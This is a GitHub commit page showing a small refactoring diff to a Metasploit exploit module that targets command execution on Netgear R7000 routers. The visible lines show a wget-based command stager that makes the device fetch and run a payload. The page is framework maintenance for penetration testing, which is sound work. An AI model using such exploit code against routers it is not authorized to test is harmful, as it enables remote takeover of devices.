Skip to content

Commit 081ca17

Browse files
committed
Specify default resource in start_service
This eliminates the need to override resource_uri. Depends on rapid7#8078.
1 parent fbf7f55 commit 081ca17

File tree

1 file changed

+1
-6
lines changed

1 file changed

+1
-6
lines changed

modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb

Lines changed: 1 addition & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def check
8383
def exploit
8484
return if check == CheckCode::Safe
8585

86-
@cmdstager = generate_cmdstager(flavor: :wget).join(';')
86+
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
8787

8888
send_request_cgi(
8989
'method' => 'GET',
@@ -101,9 +101,4 @@ def on_request_uri(cli, request)
101101
end
102102
end
103103

104-
# XXX: This is the only way to force this resource
105-
def resource_uri
106-
'/'
107-
end
108-
109104
end

0 commit comments

Comments
 (0)